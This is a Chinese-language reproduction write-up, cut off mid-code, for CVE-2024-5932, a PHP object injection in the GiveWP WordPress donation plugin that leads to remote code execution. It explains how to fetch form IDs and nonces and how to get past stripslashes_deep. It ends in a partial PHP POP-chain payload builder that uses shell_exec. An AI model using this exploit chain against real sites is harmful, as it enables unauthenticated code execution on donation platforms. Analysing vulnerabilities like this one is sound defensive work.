漏洞名称:GiveWP – 捐赠和筹款平台 <= 3.14.1 未经身份验证的 PHP 对象注入到远程代码执行复现
漏洞编号:CVE-2024-5932
漏洞类型:PHP 对象注入到远程代码执行复现
漏洞威胁等级:高危
影响范围:wordpress
利用条件:默认配置
Give 是一款专为 WordPress 打造的在线捐赠插件,主要服务于非营利组织、慈善机构及个人项目,能快速搭建捐赠系统。它支持创建自定义捐赠表单(含固定 / 自定义金额、定期捐赠等模式),集成多种支付网关,可管理捐赠记录、生成收据,还能创建并展示捐赠项目进度;具备多语言支持、移动端适配特性,操作无需编程知识,分免费基础版与付费高级版,助力便捷高效地接收和管理捐赠。
Wrodpress的GiveWP插件在3.14.1以及之前的版本中存在反序列化漏洞,通过post不安全的give_title数据,易导致php对象注入,再结合环境中存在的pop链进行远程代码执行和任意文件删除。
http

安装插件
创建一个文章包含此插件

用phpstorm结合xdebug以及phpstudy搭建调试环境
这里用xdebug helper插件,具体步骤参考CSDN
本次复现使用火狐xdebug helper结合xdebug调试wordpress源码实现
参考istvanwf大佬的博客分析payload给出的完整POP链构造

漏洞切入点存在于如下
function give_process_donation_form() {
// Sanitize Posted Data.
$post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.
// Check whether the form submitted via AJAX or not.
$is_ajax = isset( $post_data['give_ajax'] );
// Verify donation form nonce.
if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
if ( $is_ajax ) {
/**
* Fires when AJAX sends back errors from the donation form.
*
* @since 1.0
*/
do_action( 'give_ajax_donation_errors' );
give_die();
} else {
give_send_back_to_checkout();
}
}
上述代码指出,当用户提交AJAX请求时,会检查CSRF令牌以防止csrf攻击
但是这里存在问题,根据wordpress官方文档,此give-form-hash中随机数不由客户端产生,而是由服务端生成,通过下面代码分析这里我们可以利用givewp的ajax请求参数give_form_search,获取所有可用表单id即give-form-id

后续下断点分析,givewp提供了一个为give_donation_form_nonce为用户提供给定的随机数,还提供了give-form-id参数,之后将give-form-hash值返回

之后以give_process_donation参数以及表单id以及随机数为参数发起请求
后续下断点分析,give_title参数会存储在wp_give_donormeta中
之后根据Wordfence的博客指出_give_donor_title_prefix key将反序列化
利用Give()->donor_meta->get_meta()方法
之后根据文章指出要绕过stripslashes_deep函数

stripslashes_deep函数在验证user_info数组时包含user_title属性
此为构造POP链的核心,注入中以使用命名空间引用类名,其中包含斜杠。stripslashes_deep调用stripslashes函数验证。若采用四条斜杠\\\\可轻松绕过
绕过方式有了,接着就要利用命令执行函数执行我们想执行的命令,这里就会又产生一个问题
分析代码,在执行命令之前,我们需要找到一个函数去调用call_user_func_array返回任何内容作为命令执行参数。
故发现了Give\Onboarding\SettingsRepository类,该方法由$name以$this->settings设置
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protect